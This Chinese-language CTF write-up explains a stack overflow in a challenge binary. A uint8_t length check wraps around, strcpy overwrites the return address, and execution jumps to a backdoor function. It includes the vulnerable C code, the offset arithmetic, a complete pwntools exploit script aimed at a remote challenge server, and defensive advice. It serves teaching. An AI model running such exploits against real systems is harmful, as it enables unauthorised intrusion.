1. 漏洞利用实战:从栈溢出到后门函数调用
在二进制安全领域,栈溢出是最基础也最经典的漏洞类型之一。今天我要分享的是一个真实的栈溢出漏洞利用案例,通过这个案例,你将学习到如何分析漏洞成因、构造利用载荷,并最终实现控制流劫持。这个案例来自一个CTF比赛的题目,但其中涉及的技术在真实环境中同样适用。
这个程序的核心漏洞在于使用了不安全的字符串拷贝函数,导致攻击者可以覆盖栈上的返回地址。但有趣的是,程序在拷贝前还进行了长度检查,这使得我们需要更精细地构造攻击载荷。下面我将详细拆解整个漏洞利用过程。
2. 程序逻辑分析
2.1 主要函数结构
首先让我们看一下程序的主要逻辑。程序启动后会显示一个菜单,用户可以选择不同的功能。我们关注的是选项1对应的登录功能:
c复制void login() {
char s[0x19]; // 用户名缓冲区
char buf[0x199]; // 密码缓冲区
char dest[0x14]; // 目标缓冲区
printf("Enter username: ");
fgets(s, 0x19, stdin);
printf("Welcome, %s\n", s);
printf("Enter password: ");
fgets(buf, 0x199, stdin);
if(check_passwd(buf, dest)) {
printf("Login success!\n");
} else {
printf("Invalid password!\n");
}
}
2.2 关键检查函数
程序的核心检查逻辑在check_passwd函数中:
c复制bool check_passwd(char* buf, char* dest) {
uint8_t v3 = strlen(buf);
if(v3 <= 3 || v3 > 8) {
return false;
}
strcpy(dest, buf); // 漏洞点
return true;
}
这里有几个关键点需要注意:
- 密码长度被转换为uint8_t类型
- 长度必须在4到8之间(包含)
- 使用strcpy进行不安全的拷贝
3. 漏洞原理深入解析
3.1 整数回绕问题
uint8_t类型的取值范围是0-255。当长度超过255时会发生整数回绕。例如:
- 256 → 0
- 257 → 1
- 258 → 2
- 259 → 3
为了通过长度检查(v3 > 3 && v3 <= 8),我们需要构造的buf长度应该满足:
- strlen(buf) % 256 ∈ [4,8]
这意味着实际长度可以是:
- 4-8
- 260-264
- 516-520
- 等等
3.2 栈溢出条件
strcpy函数会无限制地拷贝数据,直到遇到NULL字节。这意味着我们可以通过精心构造的buf来覆盖栈上的内容,特别是返回地址。
查看栈布局:
code复制+-----------------+
| dest[0x14] | <- 目标缓冲区
| saved ebp | <- 需要覆盖的4字节
| return address | <- 需要覆盖的4字节
+-----------------+
要覆盖返回地址,我们需要:
- 填满dest缓冲区(0x14字节)
- 覆盖saved ebp(4字节)
- 覆盖返回地址(4字节)
总共需要0x14 + 4 + 4 = 0x1C字节的有效载荷。
4. 漏洞利用实战步骤
4.1 确定后门函数地址
首先我们需要找到后门函数(what_is_this)的地址。使用pwntools可以很方便地获取:
python复制from pwn import *
elf = ELF('./pwn')
backdoor_addr = elf.symbols['what_is_this']
4.2 构造基本载荷
基本载荷结构如下:
code复制[填充dest的0x14字节] + [填充saved ebp的4字节] + [后门函数地址]
用pwntools表示:
python复制payload = b'A'*(0x14 + 4) + p32(backdoor_addr)
4.3 满足长度检查条件
为了通过长度检查,我们需要确保strlen(buf) % 256 ∈ [4,8]。选择0x104(260)是一个合适的大小,因为:
- 260 % 256 = 4
- 满足v3 > 3 && v3 <= 8的条件
因此我们需要将payload扩展到0x104字节:
python复制payload = payload.ljust(0x104, b'A')
4.4 完整攻击流程
完整的攻击脚本如下:
python复制from pwn import *
# 设置目标
r = remote('61.147.171.103', 59035)
elf = ELF('./pwn')
context.log_level = 'debug'
# 获取后门地址
backdoor_addr = elf.symbols['what_is_this']
# 构造payload
payload = b'A'*(0x14 + 4) + p32(backdoor_addr)
payload = payload.ljust(0x104, b'A')
# 发起攻击
r.sendlineafter(b'choice', b'1') # 选择登录功能
r.sendlineafter(b'username', b'test') # 任意用户名
r.sendlineafter(b'passwd', payload) # 发送恶意密码
# 交互模式
r.interactive()
5. 关键问题与调试技巧
5.1 长度计算不准确
常见问题:长度计算错误导致检查不通过。解决方法:
- 使用cyclic模式生成测试数据
- 在gdb中单步调试,观察v3的实际值
- 确保payload长度满足(strlen(payload) % 256) ∈ [4,8]
5.2 地址未对齐
有时由于栈对齐问题,跳转会失败。解决方法:
- 尝试在payload前添加nop sled
- 检查地址是否包含NULL字节(会被strcpy截断)
- 使用ROP技术绕过ASLR等保护
5.3 实际环境差异
本地和远程环境可能有差异。建议:
- 先在本地测试成功
- 记录关键地址和偏移
- 准备多个版本的payload应对不同环境
6. 防御措施与安全建议
作为开发者,如何避免这类漏洞?
6.1 使用安全函数
- 用strncpy代替strcpy
- 使用snprintf进行格式化输出
- 考虑使用更安全的字符串库
6.2 输入验证
- 对所有输入进行严格验证
- 长度检查应该在转换类型前进行
- 使用无符号类型时要特别小心
6.3 编译保护
- 开启栈保护(-fstack-protector)
- 启用DEP(NX)保护
- 考虑使用ASLR
7. 扩展思考与进阶技巧
掌握了基础利用后,可以尝试以下进阶技巧:
7.1 绕过ASLR
- 使用信息泄露漏洞获取基地址
- 利用部分覆盖技术
- 通过爆破应对有限的熵
7.2 利用ROP链
- 当NX启用时,构造ROP链
- 寻找合适的gadget
- 组合实现系统调用
7.3 堆栈协同利用
- 结合堆漏洞实现更复杂的攻击
- 使用堆喷射技术
- 利用UAF等漏洞
在实际渗透测试中,漏洞往往不会这么明显。需要结合静态分析和动态调试,耐心寻找突破点。这个案例虽然简单,但包含了二进制漏洞利用的核心思想。理解这些基础后,面对更复杂的保护机制时,你也能游刃有余。